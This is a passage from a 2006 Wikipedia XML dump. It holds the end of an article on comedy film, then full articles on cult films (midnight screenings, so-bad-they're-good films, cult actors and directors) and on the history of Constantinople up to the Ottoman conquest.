One of the major developments was the re-emergence of the [[romantic comedy]] film, encouraged by the success of ''[[When Harry Met Sally...]]'' in [[1989 in film|1989]]. Other examples included ''[[Sleepless in Seattle]]'' ([[1993]]), ''[[Clueless]]'' ([[1995]]) and ''[[You've Got Mail]]'' ([[1998]]) from the [[U.S.]], and ''[[Four Weddings and a Funeral]]'' ([[1994]]), ''[[Sliding Doors]]'' ([[1998]]) and ''[[Notting Hill]]'' ([[1999]]) from the [[U.K.]].

Probably more representative of [[British humour]] were the working class comedies ''[[Brassed Off]]'' ([[1996]]) and ''[[The Full Monty]]'' ([[1997]]). Other [[British comedy|British comedies]] examined the role of the [[Asian]] community in British life, including ''[[Bhaji on the Beach]]'' ([[1993]]), ''[[East is East]]'' ([[1999]]), ''[[Bend It Like Beckham]]'' ([[2002]]) and ''[[Anita and Me]]'' ([[2003]]). 

Some [[Cinema of Australia|Australian]] comedies also found an international audience following the [[1980s]] success of ''[[Crocodile Dundee]]''. Examples included ''[[Strictly Ballroom]]'' ([[1992]]), ''[[Muriel's Wedding]]'' ([[1994]]) and ''[[The Dish]]'' ([[2001]]). 

Another development was the increasing use of &quot;[[gross-out humour]]&quot; usually aimed at a younger audience, in films like ''[[There's Something About Mary]]'', ''[[American Pie (film)|American Pie]]'' and its sequels, and ''[[Freddy Got Fingered]]''.

===[[2000s in film|2000s]]===
In mid 2000s the trend of &quot;gross-out&quot; movies is revamping, with adult-oriented comedies picking up the box office. In [[2005]] several gross-out movies have performed surprisingly well catering to such an adult market, these include ''[[Wedding Crashers]]'' and ''[[The 40-Year-Old Virgin]]''. But serious black comedies (also known as dramatic comedies or dramedies) were performing also well, such as ''[[The Weather Man]]'', ''[[Broken Flowers]]'' and ''[[Shopgirl]]''.

==See also==
* [[100_Years_Series#100_Years...100_Laughs|AFI's 100 Years, 100 Laughs]] (1924-1998, list made in 2000)
* [[Humor]]
* [[List of British comedy films]]
* [[List of comedy films in languages other than English]]
* [[List of United States comedy films]]

==References==
* Thomas W. Bohn and Richard L. Stromgren, ''Light and Shadows: A History of Motion Pictures'', 1975, Mayfield Publishing.

== External links ==
* [http://www.xhollywood.com Funny Videos] Archives of free funny videos and animation
* [http://www.filmsite.org/comedyfilms.html Comedy films] overview

[[Category:Comedy films]]
[[Category:Film genres]]

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  </page>
  <page>
    <title>Cult film</title>
    <id>5645</id>
    <revision>
      <id>42140402</id>
      <timestamp>2006-03-04T02:13:03Z</timestamp>
      <contributor>
        <username>Masciare</username>
        <id>794625</id>
      </contributor>
      <minor />
      <comment>/* Overview */</comment>
      <text xml:space="preserve">A '''cult film''' is a [[film|movie]] that attracts a small but devoted group of [[fan (aficionado)|fans]], usually failing to achieve considerable success outside that group.

==Overview==
Most movies considered &quot;cult films&quot; failed to achieve mainstream success upon original theatrical release, often grossing more money in video rentals and sales than in theater tickets. In most cases (but by no means all), the film hardly makes an impression with the general public and critics are often apathetic as well. However, a small, devoted group of viewers, often &quot;film buffs&quot; or film students, show an extreme appreciation of the film.

[[Image:Rocky Horror Picture Show Cover.jpg|thumb|left|170px|''The Rocky Horror Picture Show'' (1975)]]
''[[The Rocky Horror Picture Show]]'' is the best known and longest-running cult film.&quot; The movie combines the conventions from [[science fiction]] and [[horror film|horror]] films and included elements of [[transvestitism]], [[incest]] and [[homosexuality]] — all within the context of a [[Musical film|musical]]. The film received little attention when first released in 1975 but, a few years later, fans showed up at midnight screenings at [[repertoire (theatre)|repertoire]] theaters, dressed in costume and &quot;participating&quot; in the film (e.g. throwing rice at the wedding scene).

[[Image:Eraserheadposter.jpg|170px|thumb|right|''Eraserhead'' (1977)]]
''The Rocky Horror Picture Show'' is one of many cult films to survive initial box office failure by finding success in other outlets. Like ''Rocky Horror,'' ''[[Night of the Living Dead]],'' ''[[Pink Flamingos]],'' ''[[Female Trouble]],'' ''[[The Hills Have Eyes (1977 film)|The Hills Have Eyes]]'' and ''[[Eraserhead]]'' achieved cult status through repeat screenings at independent repertory cinemas, most usually during late night &quot;[[midnight movie]]&quot; screenings. Such films were cheaper for theaters to hire than current releases and thus were more sensible to screen during late night when attendance was lower. ''Night of the Living Dead'', in particular, was free to screen since it had accidentally fallen into the [[public domain]].  In the early 1990s many repertory cinemas went out of business due to changes in cinema ownership and distribution.

[[Network television]], [[cable television]] and [[pay-per-view]] stations have also changed the nature of cult films. Despite failing to meet box office expectations, ''[[Blade Runner]]'' was a favorite of early pay-per-view and [[HBO]].  Repeated showings on [[Comedy Central]] helped popularize ''[[Office Space]]'' and ''[[Half Baked]].''

[[Image:Blade Runner poster.jpg|left|thumb|170px|''Blade Runner'' (1982)]]
In most cases, these films tend to enjoy long runs on [[video]], thus being issued in more video &quot;runs&quot; with more copies than other movies. The box office bomb ''Office Space'' managed to financially redeem itself when word-of-mouth made it a popular video rental and ''[[Fight Club (film)|Fight Club]]'' and ''[[Mulholland Drive (movie)|Mulholland Drive]]'' have earned considerably more in [[DVD]] sales than they did in movie theatres. Also, cult movies are more likely to be issued on newer video technology in the technology's early days than other films.

[[Image:Office Space DVD.jpg|170px|right|thumb|''Office Space'' (1999)]]
Although films of all types of [[cinematic genre|genre]]s and plot conventions become cult films, the [[horror film|horror]] and [[science fiction]] genres produce a large number of cult films, perhaps due to the devoted nature of these genres' fan bases. Also films that have unconventional plotlines, strange senses of humor and which generally deviate from current trends in film are more likely to become cult films.

Many significant cult films are [[independent film|independently made]] and were not expected by their creators to have much mainstream success. These include ''Night of the Living Dead,'' ''[[Easy Rider]],'' ''Pink Flamingos,'' ''Eraserhead'' and ''[[Slacker (movie)|Slacker]].'' Other cult films have the backing of major studios but did not initially meet with the financial success these studios typically enjoy. These include the aforementioned ''[[Blade Runner]]'', ''[[Fight Club (film)|Fight Club]]'', and ''[[1941 (film)|1941]]'', as well as such films as ''[[Legend (movie)|Legend]]'', and ''[[Dune (film)|Dune]].'' In rare cases, a film is both a huge, major studio release and a cult film, because a small, devoted following exists within the film’s larger audience (i.e. ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]],'' ''[[Taxi Driver]]'' and the [[Star Wars]] franchise.) With advances in web-based film distribution, films such as ''[[Life of a Tennis Ball (film)|Life of a Tennis Ball]]'' can develop a cult following even without being commerically distributed.

==Cult films within a particular culture==
Occasionally, a film can become the object of a cult following within a particular region or culture if it has some unusual signifigance to that region or culture.

An example is the cult status of [[United Kingdom|British]] [[comedy|comedic]] [[actor]] [[Norman Wisdom]]’s films in [[Albania]]. Wisdom’s films, in which he usually played a family man worker who outsmarts his boss, were some of the few Western films considered acceptable by the country’s [[communist]] rulers, thus Albanians grew familiar and attached to Wisdom. Curiously, he and his films are now acquiring nostalgic cult status in Britain. Similarly, the [[United States|American]] film ''[[It's a Wonderful Life]],'' which features an exploitative [[capitalist]] as its [[villain]], was allowed in the [[USSR]], giving it a cult status in [[Russia]].

Another example is the place of ''[[The Wizard of Oz (1939 film)|The Wizard of Oz]]'' in [[Sexuality and gender identity-based cultures|American gay culture]]. Although a widely viewed and historically important film in greater American culture, it has gained a special meaning to many gay men who see probably unintended gay themes in the film. Gay men sometimes refer to themselves as &quot;friends of [[Dorothy Gale|Dorothy]]&quot;.
[[Image:Reefer Madness.jpg|left|thumb|170px|left|The 2004 DVD edition of ''Reefer Madness,'' which makes obvious reference to its cult status]]
The 1936 anti-[[marijuana]] [[propaganda]] film ''[[Reefer Madness (1936 film)|Reefer Madness]]'' has become a cult film within [[stoner]] culture due to its humorously sensationalized, outdated and inaccurate descriptions of the effects of marijuana. [[20th Century Fox]] and [[Legend Films]] released the film on [[DVD]] on [[April 20]], [[2004]], an obvious reference to its ironic appeal (see [[420 (cannabis culture)]]). The [[World War II]]-era [[Department of Agriculture]] film ''[[Hemp for Victory]],'' encouraging the growing of [[hemp]] for war uses, has achieved a similar cult status.

British comedies have enjoyed a cult status in America. These films include the [[Black Adder]] and [[Monty Python]] series, most notably ''[[Monty Python and the Holy Grail]].'' Because British humor differs distinctly from that found in American films, British films only appeal to a minority (or cult audience) in the US.

Asian cinema, specifically Hong Kong and Japanese films, which features one culture's distinct take on the action/fantasy/science fiction genre, have been growing very popular among factions of people in the [[Western Hemisphere]].  Asian Cult Cinema consisted of Hong Kong Martial Arts films, such as [[wuxia]], and Japanese [[tokusatsu]], primarily from the [[Daikaiju Eiga]], and [[anime]].  Unfortunately, it's the same array of films that reinforced [[stereotypes]] for Asians in America.

==So-bad-they're-good cult films==
[[Image:SantaClausConquersMartians.jpg|thumb|right|170px|''Santa Claus Conquers the Martians'' (1964)]]
Many films enjoy cult status because they are seen as ridiculously awful. The critic [[Michael Medved]] characterized examples of the &quot;so bad it's good&quot; class of low-budget cult film through books such as ''[[The Golden Turkey Awards]]''. These films include such financially fruitless and critically scorned films as ''[[Mommie Dearest (film)|Mommie Dearest]]'', ''[[Cool as Ice]]'', ''[[Boxing Helena]]'', ''[[Showgirls]]'', and ''[[Freddy Got Fingered]]'', which have become inadvertent comedies to film buffs.

In other cases, little known or forgotten films from the Past, usually from the 1940s, 1950s, and 1960s, are revived as cult films, largely because they are considered goofy and senseless by modern standards, with laughable special effects and corny plotlines. These include ''[[Eegah]]'', ''[[Santa Claus Conquers the Martians]]'', ''[[The Creeping Terror]]'', ''[[The Incredibly Strange Creatures Who Stopped Living and Became Mixed-Up Zombies]]'', ''[[Attack of the 50ft. Woman]]'' and the works of [[Ed Wood, Jr.|Edward D. Wood, Jr.]].

These films should not be confused with comedic cult movies like ''[[The Toxic Avenger]]'', ''[[Bad Taste]]'', ''[[Army of Darkness]]'', and the films of [[John Waters (filmmaker)|John Waters]], all of which purposely utilize elements from films &quot;so bad they're good&quot; for comedic effect. For further explanation on both types of film, see [[camp (style)]].

==Cult film figures==
Some actors and directors are primarily known for their work in cult films and often become [[cult figure]]s because of that work. Some, such as [[Ridley Scott]] and [[Sam Raimi]], eventually make widely successful, mainstream films while others continue to be known only to a small group of fans.

===Selected list of cult film actors=== 
*[[Michael Berryman]]
*[[Bruce Campbell]]
*[[Bud Cort]]
*[[Joe Dallesandro]]
*[[Johnny Depp]]
*[[Divine (Glen Milstead)|Divine]]
*[[Robert Englund]]
*[[Rondo Hatton]]
*[[Rutger Hauer]]
*[[Tor Johnson]]
*[[Traci Lords]]
*[[Paul Marco]]
*[[Jack Nance]]
*[[Richard O'Brien]]
*[[Vincent Price]]
*[[Linnea Quigley]]
*[[Tom Savini]]
*[[Mink Stole]]
*[[Julie Strain]]
*[[Dyanne Thorne]]
*[[Peter Weller]]
*[[Mary Woronov]]

===Selected list of cult film directors===
*[[Robert Altman]]
*[[Gregg Araki]]
*[[Dario Argento]]
*[[Carlos Atanes]]
*[[Ralph Bakshi]] 
*[[Luc Besson]] 
*[[Tim Burton]]
*[[John Carpenter]]
*[[Joel and Ethan Coen|Joel Coen]]
*[[Roger Corman]]
*[[David Cronenberg]]
*[[David DeCoteau]] 
*[[Brian De Palma]]
*[[Abel Ferrara]]
*[[Jesus Franco]]
*[[Terry Gilliam]]
*[[Christopher Guest]]
*[[Hal Hartley]]
*[[Peter Jackson]]
*[[Derek Jarman]]
*[[Alexandro Jodorowsky]]
*[[Lloyd Kaufman]]
*[[Stanley Kubrick]]
*[[David Lynch]]
*[[Russ Meyer]]
*[[Paul Morrissey]]
*[[Bill Plympton]]
*[[Sam Raimi]]
*[[Bill Rebane]]
*[[George A. Romero]]
*[[John Sayles]] 
*[[Ridley Scott]]
*[[Kevin Smith]]
*[[Quentin Tarantino]]
*[[John Waters (filmmaker)|John Waters]]
*[[Doris Wishman]]
*[[Ed Wood, Jr.]]
*[[Terry Zwigoff]]

== See also ==

*[[B-movie]]
*[[:Category:Cult films|List of cult films]]
*[[Cult classic]]
*[[Cult following]]
*[[Cult television]]
*[[Cult radio]]
*[[Cult figure]]
*[[Underground film]]

[[Category:Cult films|*]]
[[Category:Film genres]]
[[da:Kultfilm]]
[[de:Kultfilm]]
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[[eo:Kulta filmo]]
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[[he:סרט פולחן]]
[[lt:Kultinis filmas]]
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[[ja:カルト映画]]
[[pl:Film kultowy]]
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    </revision>
  </page>
  <page>
    <title>Constantinople</title>
    <id>5646</id>
    <revision>
      <id>42117979</id>
      <timestamp>2006-03-03T23:06:27Z</timestamp>
      <contributor>
        <username>HolyRomanEmperor</username>
        <id>400617</id>
      </contributor>
      <minor />
      <comment>/* Names */ cyrillic scrypt</comment>
      <text xml:space="preserve">:''This article details the history of Constantinople before the [[fall of Constantinople|Turkish Conquest of 1453]].  For details on the city since 1453, see [[İstanbul]].''

[[Image:Constantinople.png|thumb|right|300px|Map of Constantinople. More [http://www.unc.edu/awmc/downloads/connorConstLblMed.jpg detailed map].]]

'''Constantinople'''{{fn|1}} (Greek: ''Κωνσταντινούπολις'') was the name of the modern city of [[İstanbul]], [[Turkey]] over the centuries that it served as the capital of the [[Byzantine Empire]] (from the city's ancient [[Greek (language)|Greek]] name, [[Byzantium]]). Constantinople was located strategically between the [[Golden Horn]] and the [[Sea of Marmara]] at the point where [[Europe]] met [[Asia]], and was highly significant as the successor to ancient [[Rome]] and the largest and wealthiest city in Europe throughout the Middle Ages, known as the &quot;Queen of Cities&quot;.

== Names ==
The name of Constantinople is an honorific [[eponym]] referencing its founder, the Roman emperor [[Constantine I of the Roman Empire|Constantine the Great]]. Constantine established the Greek city of Byzantium as the second capital of the [[Roman Empire]] on [[May 11]], AD [[330]], naming the city ''Nova Roma'' (New Rome). That particular name, however, enjoyed little common use, and it was as the 'City of Constantine' (Constantinopolis) that it lived through the subsequent centuries.

A historical [[Slavic languages|Slavic]] name for the city was [[Tsargrad]]. The word is an [[Old Church Slavonic language|Old Church Slavonic]] translation of the [[Greek language|Greek]], presumably of Βασιλέως Πόλις, &quot;the city of the emperor [king]&quot;: combining the Slavonic words ''[[tsar]]'' for &quot;[[Caesar (title)|Caesar]]&quot; and ''grad'' for &quot;city&quot;, it stood for &quot;the City of the Emperor [Caesar]&quot;. As fashions have changed the term has faded, and the word ''Tsargrad'' is now an archaic term in [[Russian language|Russian]], but is still used occasionally in [[Bulgarian language|Bulgarian]] and as &quot;Carigrad/Tsarigrad&quot; in [[Serbian language|Serbian]] (Cyrillic: ''��������''). 

The [[Ottoman Turks]] called the city Stamboul or [[İstanbul]], adopting a usage in Greek &quot;eis tin Poli&quot; (to or at the City).  But they still used &quot;Konstantiniyye&quot; (&quot;Constantine's City&quot;, or Constantinople) as the official name.  When the Republic of [[Turkey]] was founded in [[1923]], the capital was moved to [[Ankara]].  Constantinople was officially renamed İstanbul by the Republic of Turkey on [[March 28]], [[1930]].

==Byzantium==
Constantine's foundation of New Rome on this site reflected its strategic and commercial importance from the earliest times, lying as it does astride both the land route from Europe to Asia and the seaway from the Black or Euxine Sea to the Mediterranean, whilst also being possessed of an excellent and spacious harbour in the Golden Horn. No doubt for these reasons, a city was first founded on the site in the early days of Greek colonial expansion, when in [[667 BC]] the legendary [[Byzas]] established it with a group of citizens from the town of [[Megara]]. This city was named [[Byzantium]] (Greek: ''Βυζάντιον''), after its founder.

==Constantine's Foundation==
[[Image:Byzantinischer Mosaizist um 1000 002.jpg|thumb|250px|Emperor [[Constantine I of the Roman Empire]] with a model of the city Constantinople ( the church [[Hagia Sophia]], ca. [[1000]])]]

Constantine had altogether more ambitious plans. Having restored the unity of the empire, now overseeing the progress of major governmental reforms and sponsoring the consolidation of the Christian church, Constantine was well aware that Rome had become an unsatisfactory capital for several reasons. Located in central [[Italy]], Rome lay too far from the eastern imperial frontiers, and hence also from the [[legion]]s and the Imperial courts.  Moreover, Rome offered an undesirable playground for disaffected politicians; it also suffered regularly from flooding and from [[malaria]]. It seemed impossible to many that the capital could be moved. Nevertheless, Constantine identified the site of Byzantium as the correct place: a city where an emperor could sit, readily defended, with easy access to the [[Danube]] or the [[Euphrates]] frontiers, his court supplied from the rich gardens and sophisticated workshops of Roman Asia, his treasuries filled by the wealthiest provinces of the empire.

Constantine laid out the expanded city, dividing it into 14 regions, and ornamenting it with great public works worthy of a great imperial city. Yet initially Constantinople did not have all the dignities of Rome, possessing a [[proconsul]], rather than a [[prefect]] of the city. Furthermore, it had no [[praetors]], [[tribunes]] or [[quaestors]]. Although Constantinople did have senators, they held the title ''[[clarus]]'', not ''[[clarissimus]]'', like those of Rome. Nor did it have the panoply of other administrative offices regulating the food-supply, the police, the statues, the temples, the sewers, the aqueducts and other public works. The new program of building was carried out in great haste: columns, marbles, doors and tiles were taken wholesale from the temples of the empire and removed to the new city. By the same token, however, many of the greatest works of Greek and Roman art were soon to be seen in its squares and streets. The emperor stimulated private building by promising householders gifts of land from the imperial estates in [[Asiana]] and [[Pontica]], and on [[18 May]] [[332]] he announced that, as in Rome, free distributions of food would be made to citizens. At the time the amount is said to have been 80,000 rations a day, doled out from 117 distribution points around the city.

==Public buildings==
[[image:Constantinople_medieval.jpg|right|250px|thumb|Medieval Constantinople]]

Constantinople was a Christian city, lying in the most Christianised part of the Empire. Justinian made the temples of Byzantium into ruins, and erected the splendid Church of the Holy Wisdom, [[Sancta Sophia]] (also known as [[Hagia Sophia]] in Greek), as the centrepiece of his Christian capital. He oversaw also the building of the [[Church of the Holy Apostles]], and that of [[Hagia Irene]].  

Constantine laid out anew the square at the centre of old Byzantium, naming it the [[Augusteum]] in honour of his mother, [[Helena]]. Sancta Sophia lay on the north side of the Augusteum. The new senate-house (or Curia) was housed in a basilica on the east side. On the south side of the great square was erected the [[Great Palace of Constantinople|Great Palace]] of the emperor with its imposing entrance, the Chalke, and its ceremonial suite known as the Palace of Daphne. Located immediately nearby was the vast [[Hippodrome]] for chariot-races, seating over 80,000 spectators, and the [[Baths of Zeuxippus]] (both originally built in the time of [[Severus]]). At the entrance at the western end of the Augusteum was the Milestone, a vaulted monument from which distances were measured across  the Eastern Empire.  

From the Augusteum a great street, the Mese, led, lined with colonnades. As it descended the First Hill of the city and climbed the Second Hill, it passed on the left the Praetorium or law-court.  Then it passed through the oval Forum of Constantine where there was a second senate-house, then on and through the Forum of Taurus and then the Forum of Bous, and finally up the Sixth Hill and through to the Golden Gate on the [[Propontis]].  The Mese would be seven Roman miles long to the Golden Gate of the [[Walls of Constantinople|Walls of Theodosius]].   

Constantine erected a high column in the centre of the Forum, on the Second Hill, with a statue of himself at the top, crowned with a halo of seven rays and looking towards the rising sun.

==Constantinople in the Divided Empire==
[[Image:theodosius.jpg|thumb|Emperor [[Theodosius I]] with a [[halo]], on a contemporary silver plate (Royal Academy of History, [[Madrid]])]]

The first known Prefect of the City of Constantinople was Honoratus, who took office on [[11 December]] [[359]] and held it until [[361]]. The emperor [[Valens]] built the Palace of [[Hebdomon]] on the shore of the Propontis near the Golden Gate, probably for use when reviewing troops. All the emperors, up to [[Zeno (emperor)|Zeno]] and [[Basiliscus]], who were elevated at Constantinople, were crowned and acclaimed at the Hebdomon. [[Theodosius I]] founded the [[Studion|church of John the Baptist]] to house the skull of the saint, put up a memorial pillar to himself in the Forum of Taurus, and turned the ruined temple of [[Aphrodite]] into a coachhouse for the [[Praetorian Prefect]]; [[Arcadius]] built a new forum named after himself on the Mese, near the walls of Constantine.  

Gradually the importance of the city increased. Following the shock of the [[Battle of Adrianople]] in [[376]], when the emperor [[Valens]] with the flower of the Roman armies was destroyed by the [[Goths]] within a few days' march of the city, Constantinople looked to its defences, and [[Theodosius II]] built in [[413]]-[[414]] the 60-foot tall walls which were never to be breached until the coming of gunpowder. Theodosius also founded a [[University of Constantinople|University at the Capitolium]] near the Forum of Taurus, on [[27 February]] [[425]].  

In the [[5th century]], when the [[barbarian]]s overran the Western Empire, its emperors retreated to [[Ravenna]] before it collapsed altogether. Thereafter, Constantinople became in truth the largest city of the Empire and of the world. Emperors were no longer peripatetic between various court capitals and palaces. They remained in their palace in the Great City, and sent generals to command their armies. The wealth of the Eastern Mediterranean and Western Asia flowed into Constantinople.

==The City under Justinian==
The emperor [[Justinian I|Justinian]] ([[527]]-[[565]]) was known for his successes in war, for his legal reforms and for his public works.  It was from Constantinople that his expedition for the reconquest of [[Africa]] set sail on or about [[21 June]] [[533]].  Before their departure the ship of the commander, [[Belisarius]], anchored in front of the Imperial palace, and the Patriarch offered prayers for the success of the enterprise.  

Chariot-racing had been important in Rome for centuries. In Constantinople, the hippodrome became over time increasingly a place of political significance. It was where (as a shadow of the popular elections of old Rome) the people by acclamation showed their approval of a new emperor; and also where they openly criticised the government, or clamoured for the removal of unpopular ministers. In the time of Justinian, public order in Constantinople became a critical political issue. The entire late Roman and early Byzantine period was one where Christianity was resolving fundamental questions of identity, and the dispute between the [[orthodox]] and the [[monophysites]] became the cause of serious disorder, expressed through allegiance to the horse-racing parties of the Blues and the Greens, and in the form of a major rebellion in the capital of [[532]] AD, known as the [[Nika riots|&quot;Nika&quot; riots]] (from the battle-cry of &quot;Victory!&quot; of those involved).  

Fires started by the Nika rioters consumed the basilica of St Sophia, the city's principal church. Justinian commissioned [[Anthemius of Tralles]] and [[Isidore of Miletus]] to replace it with the incomparable [[Hagia Sophia|St Sophia]], the great cathedral of the Orthodox Church, whose dome was said to be held aloft by God alone, and which was directly connected to the palace so that the imperial family could attend services without passing through the streets (St Sophia was converted into a mosque after the Ottoman conquest of the city, and is now a museum).  The dedication took place on Christmas Day of [[537]] AD in the presence of the Emperor, who exclaimed, &quot;O [[Solomon]], I have outdone thee!&quot;{{fn|2}}

Justinian also had Anthemius and Isidore demolish and replace the original Church of the Holy Apostles, built by Constantine, with a new church under the same dedication. This was designed in the form of an equally-armed cross with five domes, and ornamented with beautiful mosaics.  This church was to remain the burial place of the emperors from Constantine himself until the eleventh century. When the city fell to the Turks in [[1453]], the church was demolished to make room for the tomb of [[Mehmet II|Mehmet II the Conqueror]].

==The City after Justinian==
Justinian was succeeded in turn by [[Justin II]], [[Tiberius II Constantine|Tiberius II]] and [[Maurice (emperor)|Maurice]], able emperors who had to deal with a deteriorating military situation, especially on the eastern frontier.  Subsequently there was a period of near-anarchy, which was exploited by the enemies of the Empire.  After the [[Eurasian Avars|Avars]] came to threaten Constantinople from the west and simultaneously the [[Persians]] from the East, [[Heraclius]], the [[exarch]] of [[Africa]], set sail for the city and assumed the purple. He found the situation so dire that at first he contemplated moving the imperial capital to [[Carthage]], but with military genius he succeeded in expelling the invaders. No sooner had he carried war into their own territories, however, and achieved an advantageous peace with Persia, than he was faced with the Arab expansion.  Constantinople was besieged twice by the [[Arabs]], once in a long blockade between [[674]] and [[678]], and [[Second Arab siege of Constantinople|once again]] in [[717]].

==Importance of the City in its prime==
Constantinople was historically important for a number of reasons.  

[[image:Byzantine_eagle2.jpg|left|250px|thumb|Eagle and Snake, 6th century AD Mosaic Flooring ­Costantinople, [[Great Palace of Constantinople|Grand Imperial Palace]]]]
Constantinople was one of the larger and richer urban centers in the Eastern Mediterranean during the late Roman Empire, mostly due to its strategic position commanding the trade routes between the Aegean and the Black Sea. During the Fourth Century AD the Emperor Constantine relocated his eastern capital to Byzantium, which was renamed Constantinople (Constantine's City), in an attempt to reinvigorate the Empire. It would remain the capital of the eastern, Greek speaking empire, short several interregnums, for over a thousand years. As the capital of the [[Byzantine Empire|Eastern Roman Empire]] (now commonly known as the ''Byzantine Empire''), the Greeks called Constantinople simply &quot;the City&quot;, while throughout Europe it was known as the &quot;Queen of Cities.&quot; In its heyday, roughly corresponding to what is now known as the Middle Ages, it was the richest and largest European city, exerting a powerful cultural pull and dominating economic life in the Mediterranean. Visitors and merchants were especially struck by the beautiful monasteries and churches of the city, particularly the Hagia Sophia, or the Church of Holy Wisdom. A Russian 14th-century traveller, Stephen of Novgorod, wrote, &quot;As for St Sofia, the human mind can neither tell it nor make description of it&quot;.  The influence of Byzantine architecture and art can be seen in its extensive copying throughout Europe, particular examples include St. Mark's in Venice, the basilica of Ravenna and many churches throughout the Slavic East. Also, alone in Europe until the 13th century Italian [[florin]], the Empire continued to produce sound gold coinage, the [[Solidus (coin)|solidus]] of [[Diocletian]] becoming the [[bezant]] prized throughout the Middle Ages. Its city walls (the Theodosian Walls) and urban infrastructure was moreover a marvel throughout the Middle Ages, keeping a memory alive of the skill and technical expertise of the Roman Empire. The city, also provided a defence for the eastern provinces of the Roman Empire against the invasions of the 5th century, for Europe against the Arabs, and for European Christendom against Islam. Constantine assured the position of the Bishop or [[Patriarch of Constantinople]] as pre-eminent in the Eastern Empire. This action placed Constantinople at the religious heart of Orthodoxy.  The Patriarch of Constantinople is still considered first among equals in the Orthodox Church along with the Patriarchs of Alexandria, Antioch and Jerusalem, and the later Slavic Patriarchs. This position is largely ceremonial but still carries emotional weight.

==The Isaurians==
In the eighth and ninth centuries the [[iconoclast]] movement caused serious political unrest throughout the Empire. The emperor [[Leo III]] issued a decree in [[726]] against images, and ordered the destruction of a statue of Christ over one of the doors of the Chalke, an act which was fiercely resisted by the citizens. [[Constantine V]] convoked a church council in [[754]] which condemned the worship of images, after which many treasures were broken, burned, or painted over. Following the death of his son [[Leo IV]] in [[780]], the empress [[Irene]] restored the veneration of images through the agency of the [[Second Council of Nicaea]] in [[787]].

==The Comneni and Palaeologi==
[[Image:DelacroixConstantinople.JPG|thumb|300px|''The Entry of the [[Crusade]]rs into Constantinople'', by [[Eugène Delacroix]], [[1840]].]]

Following the catastrophic defeat in [[1071]] of the emperor [[Romanus IV]] Diogenes by the [[Seljuk Turks]] at [[Manzikert]] in [[Armenia]], his successor [[Michael VII]] pleaded for assistance from the West. In due course this was to lead to the [[First Crusade]], which assembled at Constantinople in [[1096]] in the reign of [[Alexius I Comnenus]], and moved on towards [[Jerusalem]]. Much of this is documented by the writer and historian [[Anna Comnena]] in her work [[The Alexiad]]. The Crusades were, however, to lead in time to the disastrous capture and sack of  Constantinople by soldiers of the [[Fourth Crusade]] on [[April 12]] [[1204]]. For the subsequent half-century or more, Constantinople remained the centre of the [[Roman Catholic]] [[crusader state]], set up after the city's capture under [[Baldwin IX]], and which became known as the [[Latin Empire]]. During this time, the Byzantine emperors made their capital at nearby [[Nicaea]], which acted as the capital of the temporary, short-lived [[Empire of Nicaea]] and a refuge for refugees from the sacked city of Constantinople. From this base, Constantinople was eventually recaptured from its last Latin ruler, [[Baldwin II of Constantinople|Baldwin II]], by [[Nicaean Empire|Byzantine]] forces under [[Michael VIII Palaeologus]] in [[1261]]. After the reconquest by the Palaeologi, the imperial palace of [[Blachernae]] in the north-west of the city became the main imperial residence, the old Great Palace upon the shores of the Bosporus going into decline.

==The Ottomans==
[[Image:Siege of Constantinople.jpg|right|thumb|300px|The [[1453]] [[Siege of Constantinople]] (painted [[1499]])]]

Constantinople and the Empire finally fell to the [[Ottoman Empire|Ottoman Empire]] on Tuesday [[May 29]], [[1453]], during the reign of [[Constantine XI]] Paleologus (''see [[Fall of Constantinople]]''). Although the Turks overthrew the Byzantines, [[Fatih Sultan Mehmed]] the Second (the Ottoman Sultan at the time) let the Orthodox Patriarchy continue to conduct their own affairs, having stated that they did not want to join the [[Roman Catholic Church|Vatican]].

==Constantinople in popular culture==
*Constantinople appears as a dusty faded capital, shorn of its glories, in [[William Butler Yeats]]'  [[1926]] poem [[Sailing to Byzantium]].
*Constantinople's change of name was the theme for a song by [[The Four Lads]] later covered by [[They Might Be Giants]] entitled [[Istanbul (Not Constantinople)]] [http://www.lyricsdepot.com/they-might-be-giants/istanbul-not-constantinople.html]. &quot;Constantinople&quot; was also the title of the opening track of [[The Residents]]' [[Extended play|EP]] ''[[Duck Stab/Buster &amp; Glen|Duck Stab!]]'', released in [[1978]].
* Constantinople under Justinian is the scene of &quot;A Flame in Byzantium&quot; by Chelsea Quinn Yarbro released in 1987.
==Further reading==
*Jonathan Phillips, ''The Fourth Crusade and the Sack of Constantinople'', Pimlico, 2005. ISBN 1844130800
*Steven Runciman, ''The Fall of Constantinople, 1453'', [[Cambridge University Press]], 1990. ISBN 0521398320
*Philip Mansell, ''Constantinople: City of the World's Desire''

==Notes==
&lt;!--Footnote3 style doesnt work on this page for some reason. If you &quot;upgrade&quot; please be sure it works correctly before saving.--&gt;

*{{fnb|1}}'''Constantinople''' is derived from the Greek Κωνσταντινούπολη. Other names for the city:
**[[Turkish language|Turkish]] name: İstanbul.
**[[Modern Greek]] name: Κωνσταντινούπολη, older name: Κωνσταντινούπολις (Konstantinoupolis; see also [[List of traditional Greek place names]])
**[[Ancient Rome|Roman]] name: Constantinopolis; 
**[[Azeri Latin]] name: Konstantinopolis  
**[[Latin]] name: Constantinopolis, [[Nova Roma]]  
**[[Arabic language|Arabic]] name: قسطنطينية (''Kostantiniyya'')
**[[Armenian language|Armenian]] name: Konstaninopolis / Gonstantinobolis
**[[Scandinavian languages|Scandinavian]] [[Varangian]] name: Miklagård, from [[Old Norse]] Miklagarð (''mikill'' + ''garð'' = &quot;big city&quot; or &quot;grand city&quot;).
**The [[Angles]] and [[Saxons]] called the city &quot;[[Micklegard]],&quot; meaning &quot;Great Fortress.&quot; 
**Jews often called it &quot;Costa,&quot; a shortening of its offcial name.
**[[Ottoman Turkish language|Ottoman Turkish]] name: Konstantiniyye.
**[[Church Slavonic language|Slavonic]] name: [[Tsargrad]] (Царьград).
**Stamboul (used by British and other diplomatic corps in &quot;The City&quot;)
**The'' [[Sublime Porte]]'' — the Ottoman Foreign Ministry, so-called for its gate-location within the [[Topkapi]] and often used as a synonym for &quot;Constantinople&quot; in European diplomatic notes (the same way ''[[Whitehall]]'' would be used in the case of the [[Foreign Office of thew United Kingdom|British Foreign Office]], or ''No. 10 [[Downing Steet]]'' to refer to the [[Prime Minister of the United Kingdom|Prime Minister's Office]])
*{{fnb|2}} Source for quote: Scriptores originum Constantinopolitanarum, ed T Preger I 105 (see A A Vasiliev, History of the Byzantine Empire, 1952, vol I p 188).

==See also==
* [[İstanbul]]
* [[Patriarch of Constantinople]]
* [[Golden Horn]]
* [[Hagia Sophia]]
